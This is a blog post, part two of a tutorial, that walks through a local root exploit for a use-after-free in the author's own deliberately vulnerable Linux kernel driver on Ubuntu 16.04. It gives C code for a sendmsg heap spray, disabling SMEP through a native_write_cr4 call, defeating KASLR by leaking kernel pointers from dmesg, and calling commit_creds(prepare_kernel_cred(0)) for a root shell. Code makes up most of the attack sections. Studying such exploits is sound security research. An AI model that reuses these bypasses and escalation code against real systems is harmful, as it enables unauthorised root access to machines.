Use After Free Part2 – The Exploit

To exploit this vulnerability there are a few protection mechanisms we need to bypass. To begin, it should be noted that for this exploit I am using Ubuntu 16.04.01, Linux kernel 4.8.0. This system is being run as a virtual machine through VMWare, with hardware.version set to 12. What all of this means is that in order to get root, we need to bypass SMEP (available in VMWare when hardware.version is set to 12) and KASLR.

The full code for this exploit can be found here.

Bypassing SMEP

To start with, I’ve made a few changes to the vulnerable driver since the heap spraying post, to make life a little easier. The main change being that the uaf_obj now has an argument field that is passed to the function pointer:

typedef struct uaf_obj
{
    char uaf_first_buff[56];
    long arg;
    void (*fn)(long);
    char uaf_second_buff[12];
}uaf_obj;
static void use_uaf_obj(void)
{
     if(global_uaf_obj->fn)
     {
         //debug info
         printk(KERN_WARNING "[x] Calling 0x%p(%x)[x]\n",
                 global_uaf_obj->fn, global_uaf_obj->arg);

        global_uaf_obj->fn(global_uaf_obj->arg);
    }
}

The reasons for this should be clear soon.

So what is SMEP?

SMEP stands for Supervisor Mode Execution Protection, and is the mechanism by which the kernel is stopped from executing code that resides in userspace addresses. Lets assume SMEP didn’t exist, meaning the kernel can now execute code in userspace (it can execute code in addresses that we can map). All we’d have to do after gaining control of RIP would be to map a userspace address, put a priv esc payload there and point RIP to it. Lets do that with SMEP enabled and see what happens:

7As you can see, the kernel has been protected from executing the code in an address we mapped. To check if the system you are on has SMEP:

8

A thorough explanation of SMEP and how to bypass it can be found here. The main info to take from that post is that SMEP is enabled through the CR4 register, if the 20th bit of this register is 1, then SMEP is enabled – vice versa, if we can set this bit to 0, then we can disable SMEP on the current core.

There are a few ways to go about doing this, the easiest method I’ve found was described here. We can make use of the native_cr4_write function defined in arch/x86/include/asm/special_insns.h

static inline void native_write_cr4(unsigned long val)
{
     asm volatile("mov %0,%%cr4": : "r" (val), "m" (__force_order));
}

Important to note here is that this function expects an argument, and that argument is directly written into CR4 – this means that if we can overwrite the vulnerable function pointer with the address of this function, the function pointer either needs to take an argument that we can give it, or we need to be able to control RAX. This is why I made the changes to the code.

So now, we have two regions in the vulnerable object to overwrite, the function pointer, and the value we want for CR4, the intended result is simply:

global_uaf_obj->fn(global_uaf_obj->arg) = native_write_cr4(global...->arg)

For now, I’ll be hardcoding the addresses, dealing with KASLR is the next step once SMEP is disabled.

int main(void)
{
     long target_cr4 = 0x00000000000407e0;
     long cr4_write = 0xffffffffb1664210;

    /* map the address */
    void *addr = mmap((void *)MMAP_ADDR, 0x10000000, 
    PROT_READ|PROT_WRITE|PROT_EXEC, MAP_FIXED|MAP_SHARED|MAP_ANON, 0,0);
    void **fn = 0x100000000000;

    /* Copy our asm stub into the mapped page at offset 0x46 */
    memcpy(fn, stub, 128);

    int fd = open(PATH, O_RDWR);

   /* Helps us differentiate calls in dmesg */
   ioctl(fd, DRIVER_TEST, NULL);

   use_after_free_sendmsg(fd, cr4_write, target_cr4);
   use_after_free_sendmsg(fd, MMAP_ADDR, 0);
}

The code above is quite simple, the value of target_cr4 will disable SMEP, and cr4_write is current address of native_write_cr4 (which will change every time we reboot the system).

9

We then map a userspace address and copy some code into it. Later, in use_after_free_sendmsg() the values are written into the buffer at the appropriate offsets:

void use_after_free_sendmsg(int fd, long target, long arg)
{
     char buff[BUFF_SIZE];
     struct msghdr msg = {0};
     struct sockaddr_in addr = {0};
     int sockfd = socket(AF_INET, SOCK_DGRAM, 0);

    memset(buff, 0x43, sizeof buff);

    memcpy(buff+56, &arg, sizeof(long));

    memcpy(buff+56+(sizeof(long)), &target, sizeof(long));

<....snip....>

To test this works, I’m debugging the kernel using IDA. To do this, add the following lines to the .vmx file of the guest OS:

debugStub.listen.guest64 = "TRUE"
debugStub.hideBreakpoints= "TRUE"
monitor.debugOnStartGuest64 = "TRUE"

Note: change 64 to 32 for 32 bit hosts.

Then start the guest and open up IDA on your host. Do debugger->attach->remote gdb debugger, set address to localhost and port to 8864 (8832 for 32bit host), click ok, select option 0 and click ok. You should then attach to the guest who is waiting to finish booting, hit resume in IDA to continue.

I’ve set a breakpoint at the userspace address I mapped, and as we see here, the kernel is redirected to this address and begins executing the code here.

10

So we’ve successfully bypassed SMEP, but we needed root to get the address of native_write_cr4, so it’s a bit pointless currently. Next, I’ll show a pretty simple way of bypassing KASLR to determine this address dynamically on the version of Ubuntu I’m on.

Bypassing KASLR

Kernel Address Space Layout Randomisation is a hardening feature that, simply put, means that the kernel is loaded into different addresses (within its address space) each time its booted. This means that before we can use our SMEP bypass, we need to resolve the address of that function, and 2 others:

  • native_write_cr4 – SMEP bypass
  • prepare_kernel_cred – to prepare a new creds struct with uid=0
  • commit_creds – commit that creds struct to our task to escalate privileges.

11

This is the current address of prepare_kernel_cred. However, notice that we need to be root to read the kallsyms file – this is due to another mitigation (kptr_restrict). As a regular user we aren’t able to view these addresses:

12

However, on Ubuntu, any member of the adm group is able to read the dmesg and kern.log logs, lets see what information we can pull from dmesg (here I’ve forced a page fault on purpose):

14

Looking at the call trace, we have a number of pointers we can use, I’ll be using SyS_ioctl+0x79. The point to make here is simple, if you can find the location of one function, you can find the location of all of them – all we need to do is find the offset from one function to another:

15

16

These offsets will always be the same, so we can always find the location of commit_creds given we have the address of SyS_ioctl+0x79. The goal now is to:

  • Force a page fault and read the output of dmesg.
  • Find the current address of SyS_ioctl+0x79.
  • Apply the offsets to that address to find the 3 functions we actually need.

A small bit of command line fu can be used to achieve this:

17

However, the problem here is causing a page fault will kill the process. So to do this safely, we can fork and have the child cause the page fault, and have the parent wait for the child to exit before trying to read dmesg.

In main:

/* Step 1: force a page fault to leak kernel pointers in dmesg */
 pid_t pid = fork();

if(pid == 0) {
    do_page_fault();
    exit(0);
 }

wait(NULL); //wait for the child to die

printf("[+] Child done getting address now [+]\n");
long leak = get_info_leak();

if(leak == 0) {
    printf("[x] Error getting SyS_ioctl+0x79 address [x]\n");
    exit(-1);
 }

printf("[+] Got address %p [+]\n", (void *)leak);

long native_cr4_write = leak - CR4_WRITE_OFFSET;
prepare_kernel_cred = leak - PREPARE_CRED_OFFSET;
commit_creds = leak - COMMIT_CREDS_OFFSET;

And in get_info_leak():

long get_info_leak()
{
   system(GREP_INFOLEAK);

   long addr = 0;
   FILE *fd = fopen("/tmp/infoleak", "r");

   fscanf(fd, "%lx", &addr);
   fclose(fd);

   return addr;
}

The child process simply does:

 void do_page_fault()
{
   long info_leak_magic = 0x41414141deadbeef;

   int child_fd = open(PATH, O_RDWR);

   //trigger a pagefault trying to call fn()->0
   use_after_free_sendmsg(child_fd, info_leak_magic, 0);
}

Lets test all of this and see if we can still disable SMEP, I’ll still be forcing a page fault because I want to view the state of the CR4 register:

19

As we can see, the CR4 register has the value we want in it, and so we have effectively resolved the address of native_write_cr4 properly.

Putting it all Together – Popping Root

So we have the addresses we need and can execute any code we want. All that’s left to do is call commit_creds(prepare_kernel_cred(0)) from userspace. We first add the definitions of these functions to our code:

struct cred;
struct task_struct;

/* Definitions for commit_creds and prepare_kernel_cred */
typedef struct cred *(*prepare_kernel_cred_t)(struct task_struct *daemon)
 __attribute__((regparm(3)));

typedef int (*commit_creds_t)(struct cred *new)
 __attribute__((regparm(3)));

prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;

Next, I use an asm stub that gets copied into the userspace address, that simply calls get_root():

void get_root()
{
   commit_creds(prepare_kernel_cred(0));
}

void stub()
{
   asm("call *%0" : : "r"(get_root));
}

And as we see here, we get a root shell:

20

Side Note

There is one small problem with this exploit. If you run it on an SMP system (Symmetric Multi Processing) then there is a small chance that a page fault occurs because of SMEP. This is because we only disable SMEP on one core, and another core could be given control of our process. To work around this, we can use the sched_setaffinity function to force our process to run on a particular core:

/* Force this process to run on a single core, 
the core we disable smep on */
 cpu_set_t mask;
 CPU_ZERO(&mask);
 CPU_SET(0, &mask);
 sched_setaffinity(0, sizeof(mask), &mask)

We simply add those lines of code at the beginning of main.

All of the code presented here can be found on my github page.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s